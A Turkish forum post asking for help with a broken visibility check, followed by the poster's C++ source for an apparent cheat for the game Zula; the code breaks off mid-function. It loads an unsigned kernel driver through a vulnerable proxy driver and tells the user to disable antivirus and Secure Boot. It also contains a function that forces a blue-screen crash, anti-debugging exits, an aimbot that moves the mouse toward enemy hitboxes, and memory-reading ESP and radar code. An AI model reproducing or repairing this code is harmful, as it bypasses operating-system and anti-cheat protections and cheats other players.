Seçkin Üye
Kodun bazı kısımlarında visible check kısımları var ve bu visible check şuanda çalışmıyor problem nerede bunu çözemedim help mee
C++:
#define _CRT_SECURE_NO_WARNINGS
#pragma warning( disable : 4995 )
#pragma warning( disable : 4616 )
#pragma warning( disable : 3491 )
#pragma warning( disable : 1097 )
#pragma warning( disable : 4244 )
#pragma warning( disable : 4477 )
#pragma warning( disable : 4101 )
#pragma warning( disable : 4002 )
#pragma warning( disable : 4305 )
#pragma warning( disable : 4018 )
#pragma warning( disable : 4312 )
#pragma warning( disable : 4313 )
#pragma warning( disable : 4018 )
#pragma warning( disable : 4005 )
#pragma warning( disable : 4102 )
#pragma warning( disable : 4267 )
#pragma warning( disable : 4715 )
#pragma warning( disable : 8015 )
#include <iostream>
#include <assert.h>
#include "System.h"
#include "CapcomDriverManualMapper.h"
#include "SanityChecker.h"
#include "JUNK.h"
#include <windows.h>
#include <atlimage.h>
#include <comutil.h>
#include <filesystem>
#include <stdio.h>
#include "Console.h"
#include "Includes.h"
#include "DriverFunctions.h"
#include "Overlay.h"
#include <cassert>
#include "Vector.h"
#include "Loader.h"
#include "utils.hpp"
#include <direct.h>
#include "kdmapper.hpp"
#include "DriverCache.h"
using namespace std;
#include <Iphlpapi.h>
#include <Assert.h>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "comsuppw.lib")
#pragma comment(lib,"WS2_32")
#pragma comment(lib, "ntdll.lib")
const int lengthOfBase64Chars = 64;
//BASE64 Karakterleri
const char base64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
PBITMAPINFO CreateBitmapInfoStruct(HBITMAP);
void CreateBMPFile(LPTSTR pszFile, HBITMAP hBMP);
//Bu fonksiyon basit bir matematikle �kilik tabandaki veriyi Onluk tabana �evirir.
int binaryToDecimal(string value) {
int result = 0;
for (int i = 0; i < value.length(); i++)
{
int digit = value[value.length() - i - 1] - '0';
result = result + (digit * (pow(2, i)));
}
return result;
}
//Bu fonksiyon parametre ald��� value de�erini 2. parametrede belirtilen formatta ikili veriye �evirir.
string decimalToBinary(int value, int digitFormat) {
//divisonResult bir nevi temp de�i�keni gibi g�rev al�yor ve ilk de�erini value de�erine e�itliyoruz.
int divisionResult = value;
//Her b�l�mden kalan bize binary verisinin hanesini verecektir.
int calculatedDigit = divisionResult % 2;
//Kalans�z b�lme i�lemi yap�yoruz.
divisionResult = (divisionResult - (divisionResult % 2)) / 2;
//bulunan ilk hane binary verisini tutan stringe atan�yor.
string binaryDataStr = to_string(calculatedDigit);
//b�lme i�lemi b�l�m de�eri s�f�ra e�it olana kadar devam ediyor
while (divisionResult > 0) {
calculatedDigit = divisionResult % 2;
divisionResult = (divisionResult - (divisionResult % 2)) / 2;
//sona do�ru giderken buldu�umuz her binary verisinin hanesini stringin ba��na ekliyoruz.
binaryDataStr = to_string(calculatedDigit) + binaryDataStr;
}
//Bu kod par�as� ile verinin ka� Bitlik formatta istenmi�se ona g�re ba��na s�f�r(0) ekliyoruz.
if (digitFormat != -1 && binaryDataStr.length() < digitFormat)
{
int requiredZeros = digitFormat - binaryDataStr.length();
for (int i = 0; i < requiredZeros; i++)
{
binaryDataStr = "0" + binaryDataStr;
}
}
return binaryDataStr; //string t�r�nde olu�turdu�umuz binary verisini d�nd�r�yoruz.
}
//Bu fonksiyon parametre ald��� karakterin Base64 dizesinde denk geldi�i indeksi d�nd�r�r.
int getIndexOfBase64Char(char c) {
for (int i = 0; i < lengthOfBase64Chars; i++)
{
if (base64chars[i] == c) {
return i;
}
}
return -1;
}
//Veriyi Base64 koduna �eviren fonksiyonumuz
string encodeString(string input) {
// 1- De�i�kenler ve kullan�c�dan verinin al�m�
string girilenMetin = input; //Kullan�c�dan al�nan ve Base64 t�r�ne �evrilecek metni tutaca��m�z de�i�ken
string binaryData; //girilen metnin ASCII kar��l�lar�n�n ikili sisteme �evrilmi� halini tutacak de�i�ken
int requiredExtraByte = 0; //baytlar�n tam b�l�nmesi i�in eklenmesi gereken byte say�s�n� tutacak de�i�ken
int* asciiKarsiliklari = (int*)malloc(sizeof(int) * girilenMetin.length()); //Girilen metindeki karakterlerin ASCII kar��l���n� tutmak i�in girilen metin uzunlu�unda int dizisi olu�turuyoruz.
// 2- her karakterin ASCII kar��l���n�n diziye aktar�lmas�
for (int i = 0; i < girilenMetin.length(); i++) //metin i�indeki harflerin ascii kar��l�klar�n� diziye aktar�yoruz.
{
asciiKarsiliklari[i] = girilenMetin[i]; //Karakterin ASCII kar��l���n� al�yoruz.
}
// 3- binary verinin sonuna eklenmesi gereken extra byte say�s�n�n hesaplanmas�
//Metin uzunlu�u 3'e tam b�l�n�yorsa extra bayt 0 oluyor.
//Metin uzunlu�u 3'e tam b�l�nm�yorsa 3 say�s�ndan metin uzunlu�unun 3'e b�l�m�nden kalan� ��kar�yoruz. Bu i�lemin sonucu bize gereken extra byte say�s�n� verir.
requiredExtraByte = girilenMetin.length() % 3 == 0 ? 0 : 3 - girilenMetin.length() % 3;
// 4- ASCII kar��l�klar�n� binary t�r�ne �evirip binary verimizi olu�turuyoruz.
//Alttaki d�ng� ile ilk olarak girilen metnin ASCII kar��l�klar� binary t�r�ne �evriliyor.
//Ard�ndan extra byte miktar�nda istenen kadar s�f�r ekliyoruz.
//�rne�in, 2 tane extra byte gerekiyorsa a�a��daki fonksiyon ile 0000 0000 0000 0000 verisi ekleniyor.
for (int i = 0; i < girilenMetin.length() + requiredExtraByte; i++)
{
if (girilenMetin.length() > i) {
binaryData += decimalToBinary(asciiKarsiliklari[i], 8);
}
else//alt k�s�mda extra byte miktar� ekleniyor.
{
//2. de�i�ken verinin 8 hanelik olarak d�nd�r�lmesini sa�l�yor.
binaryData += decimalToBinary(0, 8);
}
}
// 5- Son a�amada encode edilmi� verimizi olu�turuyoruz ve ekrana yazd�r�yoruz.
string encodedData;
for (int i = 0; i < binaryData.length(); i += 6) //her alt�l�k Biti okuyaca��m�z i�in alt��ar alt��ar okuyoruz.
{
string get6Digit = binaryData.substr(i, 6); //her alt�l�k Biti al�yoruz.
int toDecimal = binaryToDecimal(get6Digit); //al�nan altl�k Bitin onluk kar��l���n� al�yoruz.
//Burada verinin i�ine eklenmi� ekstra Byte miktar� kadar e�ittir(=) eklemek i�in basit bir matematiksel ifade kulland�m.
if (binaryData.length() - (requiredExtraByte * 8) > i)
{
//Base64 dizisinden kar��l�k gelen karakteri verimize ekliyoruz.
encodedData += base64chars[toDecimal];
}
else
{
//Verinin sonuna e�ittir ekliyoruz.
encodedData += "=";
}
}
return encodedData;
}
//Base64 kodunu ��zen fonksiyonumuz
string decodeString(string input) { // TWE=
//Kodu ��z�lm�� veriyi tutacak de�i�ken
string decodedData = "";
//Kodu ��zerken olu�acak ikili veriyi tutacak de�i�ken
string binaryData = "";
//Girilen kodlanm�� veri 4'e tam b�l�nm�yorsa ge�erli bir Base64 kodlams� de�ildir.
if (input.length() % 4 != 0) return "!...Girilen Veri Gecerli Base64 Formatinda degil...!";
//Kodlanm�� verinin son karakterinin bulundu�u index
int lastIndexCharOfInputStr = input.length() - 1;
//Verinin sadece son 2 karakterini e�ittir(=) sembol�ne e�it mi diye kontrol ediyoruz.
//��nk� kodlanm�� Base64 verisinde maksimum 2 tane e�ittir(=) sembol� olabilir.
if (input[lastIndexCharOfInputStr] == '=') {
//Verinin son karakteri silen kod
input.erase(lastIndexCharOfInputStr, 1);
//Bir karakter sildik diye verinin son karakterinin bulundu�u indexi 1 azalt�yoruz.
lastIndexCharOfInputStr--;
//Verinin ilk haline g�re sondan ikinci karakterin e�ittir(=) sembol�ne e�it mi diye kontrol ediyoruz.
if (input[lastIndexCharOfInputStr] == '=')
{
//Verinin sondan ikinci karakterini silen kod
input.erase(lastIndexCharOfInputStr, 1);
}
}
// 2- Kodlanm�� verideki her karakterin base64 kodlar�nda denk geldi�i indeksin binary verisine �evrilmesi
for (int i = 0; i < input.length(); i++)
{
//Karakterin Base64 dizesinde denk gelen indeksini al�yoruz.
int index = getIndexOfBase64Char(input[i]);
//Denk gelen indeksin 6 Bitlik halde binary halini verimize ekliyoruz.
binaryData += decimalToBinary(index, 6);
}
// 3- Binary verisini 8'lik par�alara ay�r�p her par�an�n ifade etti�i say�n�n ASCII karakter kar��l��� diziye ekleniyor.
//Bu d�ng� veriyi 8'er olarak atl�yor.
for (int i = 0; i < binaryData.length(); i += 8)
{
//Bu kod ile 8 bitlik veri onluk tabana �evrilip ASCII kar��l��� olan karakteri buluyoruz.
char c = binaryToDecimal(binaryData.substr(i, 8));
//Kodu ��z�lm�� verinin sonuna buldu�umuz karakteri ekliyoruz.
decodedData += c;
}
return decodedData;
}
LONG GetStringRegKey(HKEY hKey, const std::string& strValueName, std::string& strValue, const std::string& strDefaultValue)
{
strValue = strDefaultValue;
CHAR szBuffer[512];
DWORD dwBufferSize = sizeof(szBuffer);
ULONG nError;
nError = RegQueryValueExA(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, &dwBufferSize);
if (ERROR_SUCCESS == nError)
{
strValue = szBuffer;
}
return nError;
}
std::string encrypt(std::string msg, std::string key)
{
// Make sure the key is at least as long as the message
std::string tmp(key);
while (key.size() < msg.size())
key += tmp;
// And now for the encryption part
for (std::string::size_type i = 0; i < msg.size(); ++i)
msg[i] ^= key[i];
return msg;
}
std::string decrypt(std::string msg, std::string key)
{
return encrypt(msg, key); // lol
}
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
void BlueScreen()
{
BOOLEAN bl;
ULONG Response;
RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // Enable SeShutdownPrivilege
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); // Shutdown
}
BOOL RegDelnodeRecurse(HKEY hKeyRoot, LPTSTR lpSubKey)
{
LPTSTR lpEnd;
LONG lResult;
DWORD dwSize;
TCHAR szName[MAX_PATH];
HKEY hKey;
FILETIME ftWrite;
// First, see if we can delete the key without having
// to recurse.
lResult = RegDeleteKey(hKeyRoot, lpSubKey);
if (lResult == ERROR_SUCCESS)
return TRUE;
lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS)
{
if (lResult == ERROR_FILE_NOT_FOUND) {
// printf("Key not found.\n");
return TRUE;
}
else {
// printf("Error opening key.\n");
return FALSE;
}
}
// Check for an ending slash and add one if it is missing.
lpEnd = lpSubKey + lstrlen(lpSubKey);
if (*(lpEnd - 1) != TEXT('\\'))
{
*lpEnd = TEXT('\\');
lpEnd++;
*lpEnd = TEXT('\0');
}
// Enumerate the keys
dwSize = MAX_PATH;
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
NULL, NULL, &ftWrite);
if (lResult == ERROR_SUCCESS)
{
do {
*lpEnd = TEXT('\0');
StringCchCat(lpSubKey, MAX_PATH * 2, szName);
if (!RegDelnodeRecurse(hKeyRoot, lpSubKey)) {
break;
}
dwSize = MAX_PATH;
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
NULL, NULL, &ftWrite);
} while (lResult == ERROR_SUCCESS);
}
lpEnd--;
*lpEnd = TEXT('\0');
RegCloseKey(hKey);
// Try again to delete the key.
lResult = RegDeleteKey(hKeyRoot, lpSubKey);
if (lResult == ERROR_SUCCESS)
return TRUE;
return FALSE;
}
BOOL RegistryDeleteKey(HKEY hKeyRoot, LPCTSTR lpSubKey)
{
TCHAR szDelKey[MAX_PATH * 2];
StringCchCopy(szDelKey, MAX_PATH * 2, lpSubKey);
return RegDelnodeRecurse(hKeyRoot, szDelKey);
}
#define M_PI 3.14159265358979323846f
#define URotationToRadians(URotation) ((URotation)* (M_PI / 32768.0f))
#define URotationToDegree( URotation ) ( ( URotation ) * ( 360.0f / 65536.0f ) )
#define DegreeToURotation( Degree ) ( ( Degree ) * ( 65536.0f / 360.0f ) )
#define DegreeToRadian( Degree ) ( ( Degree ) * ( M_PI / 180.0f ) )
#define RadianToURotation( URotation ) ( ( URotation ) * ( 32768.0f / M_PI ) )
#define RadianToDegree( Radian ) ( ( Radian ) * ( 180.0f / M_PI ) )
uint32_t LocalPlayer = NULL;
#define isLocalPlayer strstr(entity_handle.c_str(), XorString("FPS_")) && strstr(entity_handle.c_str(), XorString("_MESH.M"))
#define isPlayer strstr(entity_handle.c_str(), XorString("CHAR_")) && strstr(entity_handle.c_str(), XorString("MESH.MD"))
#define ZulaTeam strstr(entity_handle.c_str(), XorString("CHAR_HALIL")) || strstr(entity_handle.c_str(), XorString("CHAR_CEMAL")) || strstr(entity_handle.c_str(), XorString("CHAR_AZAD")) || strstr(entity_handle.c_str(), XorString("CHAR_DAYI")) || strstr(entity_handle.c_str(), XorString("CHAR_TAHIR")) || strstr(entity_handle.c_str(), XorString("CHAR_CETIN")) || strstr(entity_handle.c_str(), XorString("CHAR_OSMAN")) || strstr(entity_handle.c_str(), XorString("CHAR_SAMIL")) || strstr(entity_handle.c_str(), XorString("CHAR_CUMALI")) || strstr(entity_handle.c_str(), XorString("KADIN")) || strstr(entity_handle.c_str(), XorString("CHAR_BAHRAM"))
#define GladioTeam strstr(entity_handle.c_str(), XorString("CHAR_AZER")) || strstr(entity_handle.c_str(), XorString("CHAR_PIERRE")) || strstr(entity_handle.c_str(), XorString("CHAR_BOB")) || strstr(entity_handle.c_str(), XorString("CHAR_AVI")) || strstr(entity_handle.c_str(), XorString("CHAR_EDWARD")) || strstr(entity_handle.c_str(), XorString("CHAR_GEORGE")) || strstr(entity_handle.c_str(), XorString("CHAR_IVAN")) || strstr(entity_handle.c_str(), XorString("CHAR_JACK")) || strstr(entity_handle.c_str(), XorString("CHAR_ROSA")) || strstr(entity_handle.c_str(), XorString("CHAR_PABLO")) || strstr(entity_handle.c_str(), XorString("CHAR_MILLA"))
DWORD WINAPI A() // By Yuri-BR
{
DWORD TimeTest1 = 0, TimeTest2 = 0;
while (true)
{
TimeTest1 = TimeTest2;
TimeTest2 = GetTickCount();
if (TimeTest1 != 0)
{
Sleep(1000);
if ((TimeTest2 - TimeTest1) > 5000)
{
ExitProcess(0);
TerminateProcess(GetCurrentProcess(), 0);
}
}
}
return 0;
}
void DeleteHeaders(HINSTANCE hModule);
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
bool dc()
{
//DeleteHeaders(GetModuleHandle(0));
char windir[260];
GetWindowsDirectory(windir, MAX_PATH);
::EnumWindows(EnumWindowsProc, NULL);
//BYTE a1[] = { 0x00 };
//memcpy(kdrv_data, a1, sizeof(a1));
const std::string drivers_path = windir + std::string(XorString("\\system32\\drivers\\"));
const std::string driver_path = drivers_path + std::string(XorString("Microsoft_Msft_Intel.wdf"));
remove(XorString("VSTXRAID.sys"));
remove(driver_path.c_str());
Console::Warning(XorString("Virus programini ve SecureBoot'u kapatman gerektigini unutma."));
::EnumWindows(EnumWindowsProc, NULL);
std::string a = XorString("\\\\.\\CFuckerDrv");
//std::string a = XorString("\\\\.\\Microsoft_Kernel");
J();
drv = CreateFileA(a.c_str(), GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
//memset((void*)&a[0], 0x00, a.size() * 2);
//a.clear();
J();
if (drv == INVALID_HANDLE_VALUE)
{
Console::Info(XorString("We are going to kernel!"));
utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(kdrv_data), sizeof(kdrv_data));
::EnumWindows(EnumWindowsProc, NULL);
/*HANDLE iqvw64e_device_handle = intel_driver::Load();
kdmapper::MapDriver(iqvw64e_device_handle, driver_path);
remove(driver_path.c_str());
intel_driver::Unload(iqvw64e_device_handle);*/
remove(XorString("VSTXRAID.sys"));
if (PathFileExistsA(XorString("VSTXRAID.sys")) == FALSE)
CopyFile(std::string(drivers_path + XorString("VSTXRAID.sys")).c_str(), XorString("VSTXRAID.sys"), TRUE);
const char* ProxyDriverName = XorString("VSTXRAID.sys");
const char* TargetDriverName = driver_path.c_str();
CapcomDriverManualMapper* mapper = 0;
try
{
SanityChecker* checker = new SanityChecker(ProxyDriverName, TargetDriverName);
Loader ProxyDriverLoader((CONST LPSTR)ProxyDriverName);
ProxyDriverLoader.LoadDriver();
ProxyDriverLoader.DeleteRegistryKey();
auto ProxyDriverModuleBase = GetSystemModuleBaseAddress(ProxyDriverName);
assert(ProxyDriverModuleBase);
mapper = new CapcomDriverManualMapper(ProxyDriverName, TargetDriverName, ProxyDriverModuleBase + checker->GetOverwritableSectionOffset());
mapper->map();
mapper->~CapcomDriverManualMapper();
remove(driver_path.c_str());
Console::Success("Lutfen programi yeniden baslatin.");
getchar();
exit(-1);
//return true;
}
catch (exception ex)
{
cout << XorString("Bilinmeyen hata -> ") << ex.what() << endl;
cout << XorString("-- Unload driver yaziyorsa, bilgisayarinizi yeniden baslatip virus programini kapatin. (Windows defender, etc.)") << endl;
}
remove(driver_path.c_str());
//HANDLE iqvw64e_device_handle = intel_driver::Load();
//kdmapper::MapDriver(iqvw64e_device_handle, driver_path);
//remove(driver_path.c_str());
//intel_driver::Unload(iqvw64e_device_handle);
//memset((void*)&kdrv_data, 0x00, sizeof(kdrv_data));
}
else
return true;
remove(driver_path.c_str());
//kdrv_data
//if (drv == INVALID_HANDLE_VALUE)
//{
// const char* ProxyDriverName = XorString("VSTXRAID.sys");
// const char* TargetDriverName = XorString("");
// //char temp_directory[MAX_PATH] = { 0 };
// //GetTempPathA(sizeof(temp_directory), temp_directory);
//// const std::string driver_path = std::string(temp_directory) + "\\" + driver_name;
//// std::remove(driver_path.c_str());
// //const std::string driver_path =
// //utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver));
// qwerqwfavdDriverManualMapper* mapper = NULL;
// try
// {
// SanityChecker* checker = new SanityChecker(ProxyDriverName, TargetDriverName);
// Loader ProxyDriverLoader((CONST LPSTR)ProxyDriverName);
// if (!ProxyDriverLoader.LoadDriver())
// {
// string error = "Loading "; error += ProxyDriverName; error += " failed";
// throw exception(error.c_str());
// }
// ProxyDriverLoader.DeleteRegistryKey();
// auto ProxyDriverModuleBase = GetSystemModuleBaseAddress(ProxyDriverName);
// assert(ProxyDriverModuleBase);
// cout << "Mapping Driver..." << endl;
// mapper = new qwerqwfavdDriverManualMapper(ProxyDriverName, TargetDriverName, ProxyDriverModuleBase + checker->GetOverwritableSectionOffset());
// mapper->map();
// cout << TargetDriverName << " successfully was mapped" << endl;
// }
// catch (exception ex)
// {
// cout << "Exception Occured -> " << ex.what() << endl;
// }
// mapper->~qwerqwfavdDriverManualMapper();
// return true;
//}
//else
//{
// return true;
//}
}
D3DXMATRIX TempMatrix;
bool WorldToScreen(Vector WorldPos, Vector& Screen, D3DXMATRIX matrix)
{
float z = WorldPos.x * matrix._13 + WorldPos.y * matrix._23 + WorldPos.z * matrix._33 + matrix._43;
if (z < 0.0f)
return false;
float x = WorldPos.x * matrix._11 + WorldPos.y * matrix._21 + WorldPos.z * matrix._31 + matrix._41;
float y = WorldPos.x * matrix._12 + WorldPos.y * matrix._22 + WorldPos.z * matrix._32 + matrix._42;
x /= z;
y /= z;
Screen.x = (1.0f + x) * (Width / 2);
Screen.y = (1.0f - y) * (Height / 2);
return true;
}
void Box3D(Vector RootPos, RGBA* Color, int Thickness)
{
auto a1 = RootPos.x;
auto a2 = RootPos.z;
auto a3 = RootPos.y;
auto v7 = a1 - 16.3f;
auto v8 = a2 - 43.f;
auto v9 = a3 - 20.f;
auto v10 = a1 + 17.f;
auto v12 = a3 + 14.f;
Vector line1, line2, line3, line4, line5, line6, line7, line8;
if (WorldToScreen(Vector(v7, v8, v9), line1, TempMatrix))
{
auto v4 = a2 + 32.f;
auto v11 = a2 + 32.f;
auto v13 = v4;
auto v14 = v4;
if (WorldToScreen(Vector(v10, v4, v12), line2, TempMatrix))
{
if (WorldToScreen(Vector(v10, v8, v9), line3, TempMatrix))
{
if (WorldToScreen(Vector(v7, v11, v9), line4, TempMatrix))
{
if (WorldToScreen(Vector(v7, v8, v12), line5, TempMatrix))
{
if (WorldToScreen(Vector(v7, v13, v12), line6, TempMatrix))
{
if (WorldToScreen(Vector(v10, v8, v12), line7, TempMatrix))
{
if (WorldToScreen(Vector(v10, v14, v9), line8, TempMatrix))
{
DrawLine(line1.x, line1.y, line4.x, line4.y, Color, Thickness);
DrawLine(line3.x, line3.y, line8.x, line8.y, Color, Thickness);
DrawLine(line7.x, line7.y, line2.x, line2.y, Color, Thickness);
DrawLine(line5.x, line5.y, line6.x, line6.y, Color, Thickness);
//Chan
DrawLine(line1.x, line1.y, line3.x, line3.y, Color, Thickness);
DrawLine(line3.x, line3.y, line7.x, line7.y, Color, Thickness);
DrawLine(line7.x, line7.y, line5.x, line5.y, Color, Thickness);
DrawLine(line5.x, line5.y, line1.x, line1.y, Color, Thickness);
//Dau
DrawLine(line4.x, line4.y, line8.x, line8.y, Color, Thickness);
DrawLine(line8.x, line8.y, line2.x, line2.y, Color, Thickness);
DrawLine(line2.x, line2.y, line6.x, line6.y, Color, Thickness);
DrawLine(line6.x, line6.y, line4.x, line4.y, Color, Thickness);
}
}
}
}
}
}
}
}
}
Vector ViewAngles(uint32_t Entity)
{
return readmem<Vector>(Entity + 0x3E8);// X: Yaw | Y: Pitch
}
D3DXVECTOR2 WorldRadar(Vector srcPos, Vector distPos, float yaw, float radarX, float radarY, float size)
{
auto cosYaw = cos(DegreeToRadian(-yaw));
auto sinYaw = sin(DegreeToRadian(-yaw));
auto deltaX = srcPos.x - distPos.x;
auto deltaY = srcPos.y - distPos.y;
auto locationX = (float)(deltaY * cosYaw + deltaX * sinYaw) / size;
auto locationY = (float)(deltaX * cosYaw - deltaY * sinYaw) / size;
if (locationX > size - 2.f)
locationX = size - 2.f;
else if (locationX < -(size - 2.f))
locationX = -(size - 2.f);
if (locationY > size - 12.f)
locationY = size - 12.f;
else
if (locationY < -(size - 12.f))
locationY = -(size - 12.f);
return D3DXVECTOR2((int)(locationX + radarX), (int)(locationY + radarY));
}
void DrawRadar( Vector LocalPos, Vector EntityPos, RGBA* EntityColor )
{
auto radar_posX = pRadar.x + 155;
auto radar_posY = pRadar.y + 165;
auto Radar2D = WorldRadar(LocalPos, EntityPos, ViewAngles(LocalPlayer).x, radar_posX, radar_posY, 60.f);// radar pos
DrawCircleFilled(Radar2D.x, Radar2D.y, enemy_size, EntityColor, 10);
}
inline float Distance(Vector LocalPos, Vector EnemyPos)
{
return float(sqrtf(powf(EnemyPos.x - LocalPos.x, 2.0) + powf(EnemyPos.z - LocalPos.z, 2.0) + powf(EnemyPos.y - LocalPos.y, 2.0)));
}
int GetDistance(Vector v1, Vector v2, int Divide)
{
Vector vector3;
vector3.x = v1.x - v2.x;
vector3.y = v1.y - v2.y;
vector3.z = v1.z - v2.z;
return (int)sqrt(pow((double)vector3.x, 2.0) + pow((double)vector3.y, 2.0) + pow((double)vector3.z, 2.0)) / Divide;
}
DWORD AimbotKey = VK_LSHIFT;
bool GetAimKey()
{
if (AimbotKey != NULL)
return (GetAsyncKeyState(AimbotKey));
else
return true;
}
int CLeft(float dwx, float dwy) {
INPUT Inputs[3] = { 0 };
Inputs[0].type = INPUT_MOUSE;
Inputs[0].mi.dx = (LONG)dwx; // desired X coordinate
Inputs[0].mi.dy = (LONG)dwy; // desired Y coordinate
Inputs[0].mi.dwFlags = MOUSEEVENTF_MOVE;
SendInput(3, Inputs, sizeof(INPUT));
return true;
}
bool mouse_move(int x, int y)
{
INPUT input;
input.type = INPUT_MOUSE;
input.mi.mouseData = 0;
input.mi.time = 0;
input.mi.dx = x * (65536 / GetSystemMetrics(SM_CXSCREEN));//x being coord in pixels
input.mi.dy = y * (65536 / GetSystemMetrics(SM_CYSCREEN));//y being coord in pixels
input.mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK | MOUSEEVENTF_ABSOLUTE;
SendInput(1, &input, sizeof(input));
return true;
}
float DistanceBetweenCross(float X, float Y)
{
float ydist = (Y - (Height / 2));
float xdist = (X - (Width / 2));
float Hypotenuse = sqrt(pow(ydist, 2) + pow(xdist, 2));
return Hypotenuse;
}
bool GetClosestPlayerToCrossHair(Vector Pos, float& max, float aimfov)
{
float Dist = DistanceBetweenCross(Pos.x, Pos.y);
if (Dist < max)
{
max = Dist;
AimFOV = aimfov;
return true;
}
return false;
}
static bool InsideCircle(int xc, int yc, int r, int x, int y)
{
int dx = xc - x;
int dy = yc - y;
return dx * dx + dy * dy <= r * r;
}
static void VectorAngles(const Vector& forward, Vector& angles)
{
if (forward.y == 0.0f && forward.x == 0.0f)
{
angles.x = (forward.z > 0.0f) ? 75.0f : -75.0f; // Pitch (up/down)
angles.y = 0.0f; //yaw left/right
}
else
{
angles.x = atan2(forward.z, forward.Length2D()) * -180 / M_PI;
angles.y = atan2(forward.y, forward.x) * 180 / M_PI;
//printf("X: %.f || Y: %.f || Z: %.f\n", angles.x, angles.y, angles.z);
if (angles.y > 75)
angles.y -= 180;
else if (angles.y < 75)
angles.y += 180;
else if (angles.y == 75)
angles.y = 0;
angles.z = 0.0f;
}
angles.z = 0.0f;
}
std::string random_numb()
{
static const std::string allowed_chars{ "012345" };
static thread_local std::default_random_engine randomEngine(std::random_device{}());
static thread_local std::uniform_int_distribution<int> randomDistribution(0, allowed_chars.size() - 1);
std::string id(1 ? 1 : 32, '\0');
for (std::string::value_type& c : id) {
c = allowed_chars[randomDistribution(randomEngine)];
}
return id;
}
string random_aimbone() {
string mac = random_numb();
if (mac == "0") return XorString("HITBOX_HEAD.MDL");
if (mac == "1") return XorString("HITBOX_HEAD.MDL");
if (mac == "2") return XorString("HITBOX_HEAD.MDL");
if (mac == "3") return XorString("HITBOX_SPINE2.MDL");
if (mac == "4") return XorString("HITBOX_SPINE2.MDL");
if (mac == "5") return XorString("HITBOX_SPINE2.MDL");
}
static Vector CalcAngle(Vector src, Vector dst)
{
Vector angles;
Vector delta = src - dst;
//delta.Normalize();
VectorAngles(delta, angles);
return Vector(angles.y, angles.x, angles.z);
}
Vector GetViewAngle()
{
auto angle = readmem<Vector>(MemoryBase + 0x1CA1D24);
return angle;
}
Vector GetCameraPos()
{
auto angle = readmem<Vector>(LocalPlayer + 0x3DC);
return angle;
}
//void SetViewAngle(Vector angle)
//{
// __try
// {
// writemem(MemoryBase + 0x1CA1D24, &angle, sizeof(angle));
// }
// __except(1){}
//}
static void SinCos(float radians, float* sine, float* cosine)
{
*sine = (float)sin(radians);
*cosine = (float)cos(radians);
}
void AngleVectors(const Vector& angles, Vector* forward)
{
float sp, sy, cp, cy;
SinCos(DegreeToRadian(angles.x), &sy, &cy);
SinCos(DegreeToRadian(angles.y), &sp, &cp);
forward->x = cp * cy;
forward->y = cp * sy;
forward->z = -sp;
}
static void xasdasdascsa()
{
float TargetX = 0;
float TargetY = 0;
//uint32_t MemoryBase = readmem<uint32_t>(0x10226708);
//Vector RootPos = readmem<Vector>(entityx + 0x3DC);
//int visible_check = readmem<int>(entityx + 0x34);
//if (visible_check == 512)
//{
Vector RootPos = readmem<Vector>(entityx + 0x3DC);
//RootPos.z += 2.f;
Vector spos2; WorldToScreen(Vector(RootPos.x, RootPos.z, RootPos.y), spos2, TempMatrix);
//if (InsideCircle((int)ScreenCenterX, (int)ScreenCenterY, AimFOV, (int)spos2.x, (int)spos2.y))
// {
int visible_check = readmem<int>(entityx + 0x34);
if (visible_check != 67109648)
{
if (spos2.x != 0 || spos2.y != 0)
{
if (DistanceBetweenCross(spos2.x, spos2.y) || isaimbotting)
{
//X Axis
if (spos2.x != 0)
{
if (spos2.x > ScreenCenterX)
{
TargetX = -(ScreenCenterX - spos2.x);
TargetX /= AimSpeed;
if (TargetX + ScreenCenterX > ScreenCenterX * 2) TargetX = 0;
}
if (spos2.x < ScreenCenterX)
{
TargetX = spos2.x - ScreenCenterX;
TargetX /= AimSpeed;
if (TargetX + ScreenCenterX < 0) TargetX = 0;
}
}
//Y Axis
if (spos2.y != 0)
{
if (spos2.y > ScreenCenterY)
{
TargetY = -(ScreenCenterY - spos2.y);
TargetY /= AimSpeed;
if (TargetY + ScreenCenterY > ScreenCenterY * 2) TargetY = 0;
}
if (spos2.y < ScreenCenterY)
{
TargetY = spos2.y - ScreenCenterY;
TargetY /= AimSpeed;
if (TargetY + ScreenCenterY < 0) TargetY = 0;
}
}
CLeft((int)TargetX, (int)TargetY);
}
}
}
}
//}
//int visible_check = readmem<int>(entityx + 0x34);
//if (visible_check != 67109648)
//{
// Vector LocalPos = readmem<Vector>(LocalPlayer + 0x3DC);
// Vector RootPos = readmem<Vector>(entityx + 0x3DC);
// float distance = LocalPos.DistTo(RootPos) / 100.f;
// Vector vhead;
// WorldToScreen(Vector(RootPos.x, RootPos.z, RootPos.y), vhead, TempMatrix);
// //if (InsideCircle((int)ScreenCenterX, (int)ScreenCenterY, AimFOV, (int)vhead.x, (int)vhead.y))
// //{
// if (vhead.x != 0 || vhead.y != 0)
// {
// if (DistanceBetweenCross(vhead.x, vhead.y) || isaimbotting)
// {
// Vector LocPos = GetCameraPos();
// LocPos.z -= distance;
// RootPos.z -= 17.5f;
// auto ahh = CalcAngle(LocPos, RootPos);
// SetViewAngle(ahh);
// }
// }
// //}
//}
void asdfaewfacd()
{
if (entityx)
{
if (GetAimKey())
{
isaimbotting = true;
xasdasdascsa();
}
else
{
isaimbotting = false;
}
}
else
{
isaimbotting = false;
}
}
void kill_by_pid(int pid)
{
HANDLE handy;
